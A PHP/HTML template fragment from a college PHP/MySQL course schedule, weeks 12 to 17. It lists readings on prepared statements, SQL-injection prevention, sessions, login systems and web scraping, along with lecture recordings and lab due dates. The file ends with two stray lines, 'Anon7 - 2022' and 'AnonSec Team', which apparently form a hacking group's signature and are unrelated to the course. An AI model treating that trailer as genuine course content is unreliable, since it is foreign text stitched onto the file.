			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(10)?></li><!-- Install MySQL -->
				<li><?=labLink(11)?></li><!-- MySQL database -->
				<li>Read <a href="https://www.w3schools.com/php/php_mysql_insert_lastid.asp">PHP MySQL Get Last Inserted ID</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_mysql_insert_multiple.asp">PHP MySQL Insert Multiple Records</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_mysql_prepared_statements.asp">PHP MySQL Prepared Statements</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_mysql_select.asp">PHP MySQL Select Data</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_mysql_select_where.asp">PHP MySQL Use The WHERE Clause</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_mysql_select_orderby.asp">PHP MySQL Use The ORDER BY Clause</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_mysql_delete.asp">PHP MySQL Delete Data</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_mysql_update.asp">PHP MySQL Update Data</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 12 -->
<!-- Week 13: Wednesday 11/17 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/93Da31idA9Z3DsRvPkl7fhamkcgQQ1UtbAph7r8r3aUggNMIfzuISEyvo4twJhii.Naf1pIcZg9-tQIzj?startTime=1637002807000','text'),array('https://minnstate.zoom.us/rec/share/93Da31idA9Z3DsRvPkl7fhamkcgQQ1UtbAph7r8r3aUggNMIfzuISEyvo4twJhii.Naf1pIcZg9-tQIzj?startTime=1637008279000','text'),array('URL','text'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 11/17 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/php/php_mysql_insert_lastid.asp">PHP MySQL Get Last Inserted ID</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_mysql_insert_multiple.asp">PHP MySQL Insert Multiple Records</a>.</li>
				<li>Discuss Prepared Statements:
					<ul>
						<li>Discuss <a href="https://www.w3schools.com/php/php_mysql_prepared_statements.asp">PHP MySQL Prepared Statements</a>.</li>
						<li>Discuss <a href="https://www.php.net/manual/en/mysqli-stmt.bind-param.php">php.net mysqli_stmt::bind_param</a>.</li>
						<li>Discuss <a href="https://www.py4u.net/discuss/790009">Should PHP developers use MySQL's stored procedures?</a>.</li>
					</ul>
				</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_mysql_select.asp">PHP MySQL Select Data</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_mysql_select_where.asp">PHP MySQL Use The WHERE Clause</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_mysql_select_orderby.asp">PHP MySQL Use The ORDER BY Clause</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_mysql_delete.asp">PHP MySQL Delete Data</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_mysql_update.asp">PHP MySQL Update Data</a>.</li>
				<li>Discuss <a href="https://www.google.com/search?q=php+how+to+prevent+sql+injection&rlz=1C1GCEB_enUS878US879&oq=php+methods+to+stop+sql+&aqs=chrome.1.69i57j0i22i30j69i64.14894j0j7&sourceid=chrome&ie=UTF-8">php how to prevent sql injection</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(12)?></li><!-- Data manipulation -->
				<li>Read <a href="https://www.w3schools.com/php/php_sessions.asp">PHP Sessions</a>.</li>
				<li>Read <a href="https://www.w3schools.com/php/php_cookies.asp">PHP Cookies</a>.</li>
				<li><del>Read <a href="https://developer.okta.com/blog/2018/07/09/five-minute-php-app-auth">Add Authentication to your PHP App in 5 Minutes</a>.</del></li>
				<li>Read <a href="https://phppot.com/php/user-authentication-using-php-and-mysql/">PHP User Authentication with MySQL</a>.</li>
				<li>Read <a href="https://www.tutorialrepublic.com/php-tutorial/php-mysql-login-system.php">PHP MySQL Login System</a>.</li>
				<li>Read <a href="https://www.php.net/manual/en/features.http-auth.php">php.net HTTP authentication with PHP</a>.</li>
				<li>Browse other authentication thoughts:
					<ul>
						<li>Read <a href="https://stackoverflow.com/questions/1354999/keep-me-logged-in-the-best-approach">"Keep Me Logged In" - the best approach</a>.</li>
						<li>Read <a href="https://medium.com/@simplyafia/how-to-create-a-login-system-with-remember-me-feature-in-php-6c5c98e5fbb0">How to create a login system with remember me feature in PHP</a>.</li>
						<li>Read <a href="https://alexwebdevelop.com/user-authentication/">PHP LOGIN AND AUTHENTICATION</a>.</li>
						<li>Read <a href="https://stackoverflow.com/questions/12337477/securing-php-remember-me-using-a-client-side-cookie">Securing PHP remember me using a client side cookie</a>.</li>
					</ul>
				</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 13 -->
<!-- Week 14: Wednesday 11/24 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/hL7k6Ea4khGwnVLjPpu-3-2f3GVtXH5yulcckbtWzZWlz8nSR3DFsGAHoDV5cIE.J7Bg0BWbpQhl0mWl?startTime=1637607820000','text'),array('https://minnstate.zoom.us/rec/share/hL7k6Ea4khGwnVLjPpu-3-2f3GVtXH5yulcckbtWzZWlz8nSR3DFsGAHoDV5cIE.J7Bg0BWbpQhl0mWl?startTime=1637612457000','text'),array('URL','text'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
	<? if ( is_dir('../Recources/Week/'.$week) ) { ?><a href="../Recources/Week/<?=$week?>">View week <?=$week?> examples</a><? } ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 11/24 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/php/php_sessions.asp">PHP Sessions</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/php/php_cookies.asp">PHP Cookies</a>.</li>
				<li><del>Discuss <a href="https://developer.okta.com/blog/2018/07/09/five-minute-php-app-auth">Add Authentication to your PHP App in 5 Minutes</a>.</del></li>
				<li>Discuss <a href="https://phppot.com/php/user-authentication-using-php-and-mysql/">PHP User Authentication with MySQL</a>.</li>
				<li><del>Discuss <a href="https://www.tutorialrepublic.com/php-tutorial/php-mysql-login-system.php">PHP MySQL Login System</a>.</del> <span class="note">Moved to next week.</span></li>
				<li><del>Discuss <a href="https://www.php.net/manual/en/features.http-auth.php">php.net HTTP authentication with PHP</a>.</del> <span class="note">Moved to next week.</span></li>
				<li><del>Discuss other authentication thoughts:</del> <span class="note">Moved to next week.</span>
					<ul>
						<li><del>Discuss <a href="https://stackoverflow.com/questions/1354999/keep-me-logged-in-the-best-approach">"Keep Me Logged In" - the best approach</a>.</del> <span class="note">Moved to next week.</span></li>
						<li><del>Discuss <a href="https://medium.com/@simplyafia/how-to-create-a-login-system-with-remember-me-feature-in-php-6c5c98e5fbb0">How to create a login system with remember me feature in PHP</a>.</del> <span class="note">Moved to next week.</span></li>
						<li><del>Discuss <a href="https://alexwebdevelop.com/user-authentication/">PHP LOGIN AND AUTHENTICATION</a>.</del> <span class="note">Moved to next week.</span></li>
						<li><del>Discuss <a href="https://stackoverflow.com/questions/12337477/securing-php-remember-me-using-a-client-side-cookie">Securing PHP remember me using a client side cookie</a>.</del> <span class="note">Moved to next week.</span></li>
					</ul>
				</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><del><?=labLink(13,false)?></del>> <span class="note">Moved to next week.</span></li><!-- Authentication -->
				<li>Review <a href="https://www.tutorialrepublic.com/php-tutorial/php-mysql-login-system.php">PHP MySQL Login System</a>.</li>
				<li>Review <a href="https://www.php.net/manual/en/features.http-auth.php">php.net HTTP authentication with PHP</a>.</li>
				<li>Review other authentication thoughts:
					<ul>
						<li>Review <a href="https://stackoverflow.com/questions/1354999/keep-me-logged-in-the-best-approach">"Keep Me Logged In" - the best approach</a>.</li>
						<li>Review <a href="https://medium.com/@simplyafia/how-to-create-a-login-system-with-remember-me-feature-in-php-6c5c98e5fbb0">How to create a login system with remember me feature in PHP</a>.</li>
						<li>Review <a href="https://alexwebdevelop.com/user-authentication/">PHP LOGIN AND AUTHENTICATION</a>.</li>
						<li>Review <a href="https://stackoverflow.com/questions/12337477/securing-php-remember-me-using-a-client-side-cookie">Securing PHP remember me using a client side cookie</a>.</li>
					</ul>
				</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 14 -->
<!-- Week 15: Wednesday 12/01 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/yC5pAo85V1XVVm-qzVGTqOW59ZbNmDjZavUbCVUhIABRAU-Bt3rBfiqzU5cHNSgy.3JPqMsFFireJs4hu?startTime=1638212588000','text'),array('https://minnstate.zoom.us/rec/share/yC5pAo85V1XVVm-qzVGTqOW59ZbNmDjZavUbCVUhIABRAU-Bt3rBfiqzU5cHNSgy.3JPqMsFFireJs4hu?startTime=1638219062000','text'),array('URL','text'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 12/01 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.tutorialrepublic.com/php-tutorial/php-mysql-login-system.php">PHP MySQL Login System</a>.</li>
				<li>Discuss <a href="https://www.php.net/manual/en/features.http-auth.php">php.net HTTP authentication with PHP</a>.</li>
				<li>Discuss other authentication thoughts:
					<ul>
						<li>Discuss <a href="https://stackoverflow.com/questions/1354999/keep-me-logged-in-the-best-approach">"Keep Me Logged In" - the best approach</a>.</li>
						<li>Discuss <a href="https://medium.com/@simplyafia/how-to-create-a-login-system-with-remember-me-feature-in-php-6c5c98e5fbb0">How to create a login system with remember me feature in PHP</a>.</li>
						<li>Discuss <a href="https://alexwebdevelop.com/user-authentication/">PHP LOGIN AND AUTHENTICATION</a>.</li>
						<li>Discuss <a href="https://stackoverflow.com/questions/12337477/securing-php-remember-me-using-a-client-side-cookie">Securing PHP remember me using a client side cookie</a>.</li>
					</ul>
				</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(13)?></li><!-- Authentication -->
				<li>Read <a href="https://www.scrapingbee.com/blog/web-scraping-php/">Web Scraping with PHP</a>.</li>
				<li>Read <a href="https://stackoverflow.com/questions/9813273/web-scraping-in-php">Web scraping in PHP</a>.</li>
				<li>Read <a href="https://dzone.com/articles/8-awesome-php-web-scraping-libraries-and-tools">8 Awesome PHP Web Scraping Libraries and Tools</a>.</li>
				<li>Read <a href="https://www.freecodecamp.org/news/web-scraping-with-php-crawl-web-pages/">Web Scraping with PHP – How to Crawl Web Pages Using Open Source Tools</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 15 -->
<!-- Week 16: Wednesday 12/08 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/9g5C4UQ0wdVy6lTK7O0IAcbIMzwcoVmwXNwt71i5EzDndYsRzhIcmWgjq4KkTOSD.Oar48Ribh5L0yfGT?startTime=1638817222000','text'),array('https://minnstate.zoom.us/rec/share/9g5C4UQ0wdVy6lTK7O0IAcbIMzwcoVmwXNwt71i5EzDndYsRzhIcmWgjq4KkTOSD.Oar48Ribh5L0yfGT?startTime=1638823858000','text'),array('https://minnstate.zoom.us/rec/share/-a868Lf2VdvGdcwQikON7xmDWsB_NhSD8uFnIbVwPGTBIjTK7tHK-qgJnrPYeTb7.bP8Z6aNx7rgjNGwb?startTime=1638829482000','(Class questionnaire)'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 12/08 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.scrapingbee.com/blog/web-scraping-php/">Web Scraping with PHP</a>.</li>
				<li>Discuss <a href="https://stackoverflow.com/questions/9813273/web-scraping-in-php">Web scraping in PHP</a>.</li>
				<li>Discuss <a href="https://dzone.com/articles/8-awesome-php-web-scraping-libraries-and-tools">8 Awesome PHP Web Scraping Libraries and Tools</a>.</li>
				<li>Discuss <a href="https://www.freecodecamp.org/news/web-scraping-with-php-crawl-web-pages/">Web Scraping with PHP – How to Crawl Web Pages Using Open Source Tools</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li>Please complete the <a href="../?Questionnaire">class questionnaire</a>.</li>
				<li><del><?=labLink(14)?></del></li><!-- Web scraping -->
				<li><del><?=labLink(15)?></del></li><!-- Graphics -->
			</ol>
		</li>
		<li>All assignments are due by Wednesday, December 15<sup>th</sup> 2021.</li>
	</ul>
</li><!-- END Week 16 -->
<!-- Week 17: Wednesday 12/15 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week,0,'<span class="attention">No class meeting.</span>')?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('URL','text'),array('URL','text'),array('URL','text'))); ?>
	<? $dir = '../Resources/Examples/Week/'.twoDigit($week); if ( is_dir($dir) ) { ?><a href="<?=$dir?>">View week <?=$week?> example files</a>.<? } ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 12/15 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>
			<br>
			Contact me to setup a web meeting if you need help with labs.
		</li>
		<li>If you have not done so, please complete the <a href="../?Questionnaire">class questionnaire</a>.</li>
		<li>All assignments are due by Wednesday, December 15<sup>th</sup> 2021.</li>
	</ul>
</li><!-- END Week 17 -->

</ol>
</fieldset>
<? $LOCK_BELOW = $week; ?>

<?
/** /

/**/
?>

Anon7 - 2022
AnonSec Team